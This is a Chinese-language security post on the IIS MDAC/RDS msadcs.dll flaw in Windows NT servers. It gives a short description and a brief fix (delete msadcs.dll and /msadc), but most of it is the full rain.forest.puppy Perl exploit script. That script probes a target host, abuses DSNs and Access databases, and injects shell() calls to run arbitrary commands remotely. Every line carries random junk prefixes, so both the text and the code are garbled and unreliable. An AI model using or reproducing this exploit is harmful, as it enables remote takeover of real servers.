IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1)M>vdrP 5ff6 6CRw 涉及程序：
qN_jsJ Microsoft NT server
T=2 91)@ iwfv t^ 描述：
b-+iL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`+QrgtcEy4 I p4SdbU 详细：
hQgi--Msw' 如果你没有时间读详细内容的话，就删除:
,*V{g pC7 c:\Program Files\Common Files\System\Msadc\msadcs.dll
!g~x n2m$R 有关的安全问题就没有了。
|&TRN1 l>M&S^/s j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@T r8.4 vf (\?Js , 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
T{j&w% (z 关于利用ODBC远程漏洞的描述，请参看:
_>* $%R A_@#V)D2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .
\fzK p]#%e0 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/\_ s http://www.microsoft.com/security/bulletins/MS99-025faq.asp #f@sq5pTO z>hG' 这里不再论述。
4jrY3gyBX ,.f GZ4 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
J%_
:A" =2{ ^q vP /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D{/GjFO 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
nQvv'%v0 %c(':vI# hun/H4f| #将下面这段保存为txt文件，然后: "perl -x 文件名"
l23#"gGb K$\]\qG6 #!perl
VHB5 #
A=|&N%lP' # MSADC/RDS 'usage' (aka exploit) script
O&irgc! #
%Ow ,.+m # by rain.forest.puppy
,y?0 Iwf #
x5 3 aGi| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<$HP"f+<S5 # beta test and find errors!
f|_iHY
Ssr
P use Socket; use Getopt::Std;
6546" sU getopts("e:vd:h:XR", \%args);
;e_n7>'#% ^' C1 VQ% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R b 6` k^ 0AFjO) if (!defined $args{h} && !defined $args{R}) {
>e"Cp bZ' print qq~
Wgdij11e Usage: msadc.pl -h <host> { -d <delay> -X -v }
j#0@%d -h <host> = host you want to scan (ip or domain)
&B7X LO[ -d <seconds> = delay between calls, default 1 second
uQ{ &x6.1 -X = dump Index Server path table, if available
2rf-pdOvG -v = verbose
D'#Wc#b -e = external dictionary file for step 5
5+'1 :Sa(i m
Fwx},dl Or a -R will resume a command session
qv=i eU "wT[LA9\ ~; exit;}
]Z@- r ' Ky5|4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W)?B{\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
h O@'WoniW if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X) xQKkL0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Y:/z)"u,C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
SV}I+O_w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W :jC2,s!m We E>4> ^ if (!defined $args{R}){ $ret = &has_msadc;
Y+ syc dq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
c63 DuHA*C Y|g8xkI}XB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'$PiyM|V . "cmd /c ";
Qhsh{muw( $in=<STDIN>; chomp $in;
/A4zR $command="cmd /c " . $in ;
4E}/{1 9#iu#?*B if (defined $args{R}) {&load; exit;}
diGPTV-?$
=h\,-8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;dNKe.`Dg &try_btcustmr;
cR K1JxU [GX5jD# print "\nStep 2: Trying to make our own DSN...";
JV Fn=Mw &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_1 f!9ghT\ \SS1-UbL print "\nStep 3: Trying known DSNs...";
<|~X,g;f &known_dsn;
u!];RHOp| )}1 J.>5 print "\nStep 4: Trying known .mdbs...";
r%JJ 5Al.S &known_mdb;
hdp;/Qz& S.aSNH< if (defined $args{e}){
3@*J=LGhKc print "\nStep 5: Trying dictionary of DSN names...";
KQj5o>} 6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*pCT34 '-- J84Q|E print "Sorry Charley...maybe next time?\n";
lO9ML-8C1 exit;
WrQ e'ny c %yhODq/ ##############################################################################
%,E\8{I+
PW x9CT sub sendraw { # ripped and modded from whisker
+;tXk
sleep($delay); # it's a DoS on the server! At least on mine...
U@!e&QPn my ($pstr)=@_;
+LCpE$H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F?? })YX die("Socket problems\n");
o
nt8q8 if(connect(S,pack "SnA4x8",2,80,$target)){
D$+ 9` select(S); $|=1;
T$)&8"Xya print $pstr; my @in=<S>;
+Fp8cT=1 select(STDOUT); close(S);
Fx*iAH\e return @in;
H[UV] qO, } else { die("Can't connect...\n"); }}
-uXf?sT V (;;%B = ##############################################################################
*Fb]lM7D k*d0ws#<l sub make_header { # make the HTTP request
@k>}h\w my $msadc=<<EOT
+]
>o@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Eq=~S O% User-Agent: ACTIVEDATA
O Z3iH% Host: $ip
-/Pg[Lx7Pb Content-Length: $clen
HKbyi~ 8N= Connection: Keep-Alive
m -4P*P$X 1%68Pnqk ADCClientVersion:01.06
ABw:SQ6=Q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e me7y nj$TdwZb K --!ADM!ROX!YOUR!WORLD!
Kur3Gf X Content-Type: application/x-varg
:*Lr(-N- Content-Length: $reqlen
7)tkqfb] ~v"4;A 6 EOT
@&p:J0hbp ; $msadc=~s/\n/\r\n/g;
uT:'Kk b! return $msadc;}
:jlKj} 4A 3oc p4x`[ ##############################################################################
E1 IT>_ Fcz7 sub make_req { # make the RDS request
4u- mE my ($switch, $p1, $p2)=@_;
#m=TK7*v my $req=""; my $t1, $t2, $query, $dsn;
vVQ wuV )voJq\Y)% if ($switch==1){ # this is the btcustmr.mdb query
S-l<+O1fy $query="Select * from Customers where City=" . make_shell();
q#B=PZ'NA $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Ut.%=o;&[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m/@ ;N,K !Hq$ 7j_ elsif ($switch==2){ # this is general make table query
2o2jDQ|7 $query="create table AZZ (B int, C varchar(10))";
@6\Id7`Ea $dsn="$p1";}
KT$Za R8LJC]6Bh elsif ($switch==3){ # this is general exploit table query
ovm109fTx $query="select * from AZZ where C=" . make_shell();
V>D8l @ $dsn="$p1";}
dt&m YSZ} (7Su{tq elsif ($switch==4){ # attempt to hork file info from index server
P /i{_r $query="select path from scope()";
hOZ:r =% $dsn="Provider=MSIDXS;";}
O*0%AjT6 c\A
4-08 elsif ($switch==5){ # bad query
\PReQ|[ah $query="select";
{Tx"G9 $dsn="$p1";}
'u@,,FFz[K gQ90> P: $t1= make_unicode($query);
>NLG"[\ $t2= make_unicode($dsn);
rlxZ,]ul $req = "\x02\x00\x03\x00";
wW &q)WOi $req.= "\x08\x00" . pack ("S1", length($t1));
hOFC 8 g $req.= "\x00\x00" . $t1 ;
O0^m_ $req.= "\x08\x00" . pack ("S1", length($t2));
)Y 4 ;@pEU $req.= "\x00\x00" . $t2 ;
W]Bc7JM]T+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
#g W"k;7P return $req;}
H iAj3 7PTw' +{ ##############################################################################
nv$>iJ^~H 5j'7V1:2 sub make_shell { # this makes the shell() statement
jW]Q- return "'|shell(\"$command\")|'";}
BoJpf8e'-e bu0i # ##############################################################################
atr 0hmQ u@&e{w~0 sub make_unicode { # quick little function to convert to unicode
0 O>T{< my ($in)=@_; my $out;
Qe,jK{Y<
- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
o3 b=) E return $out;}
Me;XG?` /q1k)4?E ##############################################################################
YV%y
KD ~mBY_[_s= sub rdo_success { # checks for RDO return success (this is kludge)
}2xgm 9j < my (@in) = @_; my $base=content_start(@in);
e= { ?d6 if($in[$base]=~/multipart\/mixed/){
BD. &K_AW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
arK(dg~S return 0;}
3Z0ez?p+5
4,g_$) ##############################################################################
RE._Ov> } H#C<:A sub make_dsn { # this makes a DSN for us
_uXb 9 my @drives=("c","d","e","f");
C b4.N 8 print "\nMaking DSN: ";
\/XU v( foreach $drive (@drives) {
%f)%FN . S print "$drive: ";
79&=MTM
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C#qF&n "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
._%8H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Jb/VITqN4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@LSfP return 0 if $2 eq "404"; # not found/doesn't exist
B:)PU Bb if($2 eq "200") {
P5Bva foreach $line (@results) {
G*s5GG@Z. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,
wXixf2 } return 0;}
H 0( .p'eN c T21 ##############################################################################
J]W?
V vv xe"A;6H sub verify_exists {
!LR9}Xon my ($page)=@_;
JU Xo3D~ my @results=sendraw("GET $page HTTP/1.0\n\n");
~"J7=u1o return $results[0];}
kxQ al mX2X.ww(4 ##############################################################################
jXPf}{^ - ,186ZVZ sub try_btcustmr {
4 :phq my @drives=("c","d","e","f");
-M6#,J i my @dirs=("winnt","winnt35","winnt351","win","windows");
/+wC x#! 73j \!x foreach $dir (@dirs) {
}!uwWBw` print "$dir -> "; # fun status so you can see progress
Gq=tR `. foreach $drive (@drives) {
!L[$t~z print "$drive: "; # ditto
ECsb ?n7e $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B#]:1:Qn $reqlenlen=length( "$reqlen" );
we0haK $clen= 206 + $reqlenlen + $reqlen;
ke<l@w O y_``-F&Z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@Os0A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
I*z|_}$ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8\F|{vt# i);BTwW)#] ##############################################################################
uS<og P qWU59:d^{ sub odbc_error {
y@h
v#; my (@in)=@_; my $base;
Xv+!) j< my $base = content_start(@in);
QVF561Yz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yi8AzUW
cW $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
fBb:J + $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!k<k]^Z\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v YybQ&E/ return $in[$base+4].$in[$base+5].$in[$base+6];}
(]Q0L{~K print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
C%# w1k print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
#/" Tb ^c9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
C>Q|"Vf2 %H[~V
f?d ##############################################################################
e/uLBZ } #q0K sub verbose {
DzbcLg%:W my ($in)=@_;
Xz?7x0)Z return if !$verbose;
!q~f;&rg print STDOUT "\n$in\n";}
1! j ^ hzk4SOT( ##############################################################################
xyP 0haE },=ORIB B: sub save {
u+9)B 6O1 my ($p1, $p2, $p3, $p4)=@_;
6<% b}q9Mo open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~Qd|. T print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
au E8 ^| close OUT;}
,V9 r2QY .?5~zet# ; ##############################################################################
bzaweA H &lo<sbd. sub load {
HHerL%/ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
hWiHKR] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
SmS6B5j\R @p=<IN>; close(IN);
l\"CHwN?Y $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
?e%u[ Q0 $target= inet_aton($ip) || die("inet_aton problems");
8M0<:p/ print "Resuming to $ip ...";
29nMm>P.e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+W/{UddeKU if($p[1]==1) {
TtrV
-X>L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.E 9$j<SP- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
610u! _- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)8taM C:H^ if (rdo_success(@results)){print "Success!\n";}
b\^1P;!'W else { print "failed\n"; verbose(odbc_error(@results));}}
8ly Ng w1 elsif ($p[1]==3){
FzOlM-)m
if(run_query("$p[3]")){
v8 II=9 print "Success!\n";} else { print "failed\n"; }}
</B:Zjn elsif ($p[1]==4){
% EYh*g{G if(run_query($drvst . "$p[3]")){
g W?Hd/ print "Success!\n"; } else { print "failed\n"; }}
tiy#b8 exit;}
o4 ^#W;%w B C85#sbl ##############################################################################
I-Q(kWc L<G6)'5W sub create_table {
i)/ #u+Y1P my ($in)=@_;
\'X-><1 $reqlen=length( make_req(2,$in,"") ) - 28;
M<x><U#]A $reqlenlen=length( "$reqlen" );
t]{, 7.S $clen= 206 + $reqlenlen + $reqlen;
y#P _ }Kfo my @results=sendraw(make_header() . make_req(2,$in,""));
E*yot[kj return 1 if rdo_success(@results);
C,8@V` my $temp= odbc_error(@results); verbose($temp);
g2vt(Gf ; return 1 if $temp=~/Table 'AZZ' already exists/;
mC$ te return 0;}
?es 9j] |}: D_TX ##############################################################################
l}FA&c" + jN)$Y3Ya sub known_dsn {
Bnz}:te} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gF]IAZ Ci my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P@<K&S+f "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
" ;o, D "banner", "banners", "ads", "ADCDemo", "ADCTest");
vo s-[$ ZSB;4 ?:h foreach $dSn (@dsns) {
fc<,kRp print ".";
#bb$Icmtk next if (!is_access("DSN=$dSn"));
rW)}$|-Z if(create_table("DSN=$dSn")){
PKev)M;C+ print "$dSn successful\n";
k#2b3}(, if(run_query("DSN=$dSn")){
Qqd +=mgc print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#UnGU,J print "Something's borked. Use verbose next time\n";}}} print "\n";}
QZ5%nJme_ FC4hvO(/m ##############################################################################
qvs[Gkaa@ >` n)-8 sub is_access {
:U faMe5 my ($in)=@_;
V.!z9AQ $reqlen=length( make_req(5,$in,"") ) - 28;
ioslarw1J $reqlenlen=length( "$reqlen" );
xw*/8.Md6f $clen= 206 + $reqlenlen + $reqlen;
0a+U >S# my @results=sendraw(make_header() . make_req(5,$in,""));
C?rb}(m my $temp= odbc_error(@results);
' ]sI U;h3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ZV!*ZpTe~ return 0;}
HmV JkkksJ #b1/2=PA ##############################################################################
ai )?RF lC^?Jk[N sub run_query {
`J}FSUn\ my ($in)=@_;
(DM8PtZg $reqlen=length( make_req(3,$in,"") ) - 28;
d 8z9_C- $reqlenlen=length( "$reqlen" );
L @8[. $clen= 206 + $reqlenlen + $reqlen;
c- [IgX e my @results=sendraw(make_header() . make_req(3,$in,""));
WWA!_ return 1 if rdo_success(@results);
)IuwI #pm my $temp= odbc_error(@results); verbose($temp);
'fIG$tr9X return 0;}
=/ N0^ =Q8$O
2TW ##############################################################################
YY$O"!." hw&~OJeo sub known_mdb {
tY?evsVgz my @drives=("c","d","e","f","g");
6}_J;g\| my @dirs=("winnt","winnt35","winnt351","win","windows");
Bn
Nu/02.= my $dir, $drive, $mdb;
]Wc 2$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#~6X9,x = HmpV;
<t3 # this is sparse, because I don't know of many
(Jy > ,~O my @sysmdbs=( "\\catroot\\icatalog.mdb",
*%dWNvN4X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!M k]% "\\system32\\certmdb.mdb",
Z?'?+48xv4 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Wp=:|J 0urM@/j+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
P' k`H "\\cfusion\\cfapps\\forums\\forums_.mdb",
M-5zsN "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
! ?m8UE "\\cfusion\\cfapps\\security\\realm_.mdb",
=(,dI [v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Rx4O?7; "\\cfusion\\database\\cfexamples.mdb",
L;' v,s "\\cfusion\\database\\cfsnippets.mdb",
\fC}l
Ll "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.7 H* F9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
`"|u
NVn
"\\cfusion\\brighttiger\\database\\cleam.mdb",
G]I^ zd&P "\\cfusion\\database\\smpolicy.mdb",
?tYc2R9x6" "\\cfusion\\database\cypress.mdb",
R(A"6a8* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!xD_=O "\\website\\cgi-win\\dbsample.mdb",
28 o!>* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
O:X|/g0Y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
gd ; e-. ); #these are just
}x:nhy` foreach $drive (@drives) {
EJO6k1 foreach $dir (@dirs){
bhT:MW! foreach $mdb (@sysmdbs) {
n Iqmora print ".";
J z)c|8U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
`L "{sW6S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
SZC1$..2T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5,?Au print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
j=w`%nh4"f } else { print "Something's borked. Use verbose next time\n"; }}}}}
qo0]7m 7| q*{Dy1Tj foreach $drive (@drives) {
xW'(]Z7_ foreach $mdb (@mdbs) {
+t Fl print ".";
4";[Xr{pW if(create_table($drv . $drive . $dir . $mdb)){
,:/3'L print "\n" . $drive . $dir . $mdb . " successful\n";
%D*yXNsY if(run_query($drv . $drive . $dir . $mdb)){
AlT04H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
r xAb]~MMp } else { print "Something's borked. Use verbose next time\n"; }}}}
p"/B3 }
z,=k F I .JL?RH2@8 ##############################################################################
9@z"~H TWJ%? /d sub hork_idx {
?1MaA print "\nAttempting to dump Index Server tables...\n";
v]BMET[w print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
)Waz bT@ $reqlen=length( make_req(4,"","") ) - 28;
u:&Lf $reqlenlen=length( "$reqlen" );
G |vG5$Nf $clen= 206 + $reqlenlen + $reqlen;
97(*-e= e my @results=sendraw2(make_header() . make_req(4,"",""));
9p<Z Sh if (rdo_success(@results)){
T=->~@5 my $max=@results; my $c; my %d;
C9FQo7 for($c=19; $c<$max; $c++){
8Dy;'BtT $results[$c]=~s/\x00//g;
k-\RdX)E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+0WI;M4i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
s:#\U!>0` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/CN`U7:E $d{"$1$2"}="";}
[P746b_\e foreach $c (keys %d){ print "$c\n"; }
)k| _ CW~ } else {print "Index server doesn't seem to be installed.\n"; }}
n6 a=(T AIFI@#3 ##############################################################################
6'qC *r m%km@G $ sub dsn_dict {
[D%5Fh\0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uVw |fT while(<IN>){
-?68%[4lm_ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-.X-02 next if (!is_access("DSN=$dSn"));
<Xr {1M D if(create_table("DSN=$dSn")){
Ox1#}7`0> print "$dSn successful\n";
R7d45Wl if(run_query("DSN=$dSn")){
,L} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pe$l'ur print "Something's borked. Use verbose next time\n";}}}
|\MgE .N print "\n"; close(IN);}
m dTCe
HX vMV}M%~ ##############################################################################
d % : /^<Uy3F[p sub sendraw2 { # ripped and modded from whisker
[q{[Avq f sleep($delay); # it's a DoS on the server! At least on mine...
S(
r Fa my ($pstr)=@_;
u4a(AB>S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8/dx)*JCq die("Socket problems\n");
u:f.g?!`" if(connect(S,pack "SnA4x8",2,80,$target)){
7U\ GX print "Connected. Getting data";
G>);8T%l open(OUT,">raw.out"); my @in;
nuip select(S); $|=1; print $pstr;
X]OVc<F while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
F"<TV&xf close(OUT); select(STDOUT); close(S); return @in;
Ma,2_oq+ } else { die("Can't connect...\n"); }}
]V K%6PQ0 ]hL `HP ##############################################################################
t$lO~~atr zg2}R4h sub content_start { # this will take in the server headers
<,!e*V*U my (@in)=@_; my $c;
AsW! G dIN for ($c=1;$c<500;$c++) {
hc;8Vsa if($in[$c] =~/^\x0d\x0a/){
R rGFG n{ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
MIJ^ n(-G else { return $c+1; }}}
0qj:v"~Q return -1;} # it should never get here actually
#r}O =izi _3YuPMaN ##############################################################################
M3U*'A\ zFqlTUD`t sub funky {
VNcxST15a my (@in)=@_; my $error=odbc_error(@in);
wjm _bEi if($error=~/ADO could not find the specified provider/){
|99/?T-QW print "\nServer returned an ADO miscofiguration message\nAborting.\n";
eZMDt B exit;}
V6C*d: if($error=~/A Handler is required/){
=x/Ap1 print "\nServer has custom handler filters (they most likely are patched)\n";
bZ$;`F 5}) exit;}
dyz)22{\!` if($error=~/specified Handler has denied Access/){
%9!, PeRe print "\nServer has custom handler filters (they most likely are patched)\n";
R"9^FQ 13 exit;}}
"Vg1'd }f 3S ~Gi, ##############################################################################
M(a lc9tn ju-tx
: sub has_msadc {
)oRF/Xx`g my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`H.~ # $ my $base=content_start(@results);
,X05&'@Z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
a$* )d($ return 0;}
oXef<- : Qt@_C*,P ########################
+y$%S4>0tp 1'[RrJ$Q 0#AS>K5 解决方案：
F?wfh7q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
N<|_ tC+ct 2、移除web 目录: /msadc
